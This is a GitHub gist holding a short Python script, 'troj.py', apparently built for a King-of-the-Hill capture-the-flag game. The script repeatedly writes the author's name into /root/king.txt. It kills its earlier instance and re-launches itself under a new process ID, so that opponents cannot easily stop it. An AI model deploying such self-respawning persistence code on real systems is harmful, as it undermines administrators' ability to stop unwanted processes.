Skip to content

Instantly share code, notes, and snippets.

@p4p1
Last active Oct 8, 2020
Embed
What would you like to do?
🐓🐓🐓🐓
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Made by papi
# Created on: Mon 07 Sep 2020 06:50:04 PM CEST
# troj.py
# Description:
import socket, signal
import sys, os, time
import time
from threading import *
KING_FILE='/root/king.txt'
USER_NAME='p4p1'
PID_FILE='/tmp/pid'
def empty_king_file():
open(KING_FILE, 'w').close()
# Check if the king file is different than the name
# on success return the file descriptor, on error returns None
def check_file():
fpr = open(KING_FILE, 'r', encoding='utf-8')
val = fpr.read().strip()
if val != USER_NAME:
fpw = open(KING_FILE, 'w', encoding='utf-8')
empty_king_file() # Empty the file before being able to add name
return fpw
fpr.close()
return None
# function that changes the king file
def change_file():
file = check_file()
if file != None:
file.write(USER_NAME + '\n') # Need a \n to be appended to act like
file.close() # an echo
if __name__ == "__main__":
if len(sys.argv) == 2:
os.kill(int(sys.argv[1]), signal.SIGINT)
change_file()
time.sleep(0.5)
os.system("python3 " + sys.argv[0] + " " + str(os.getpid()))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment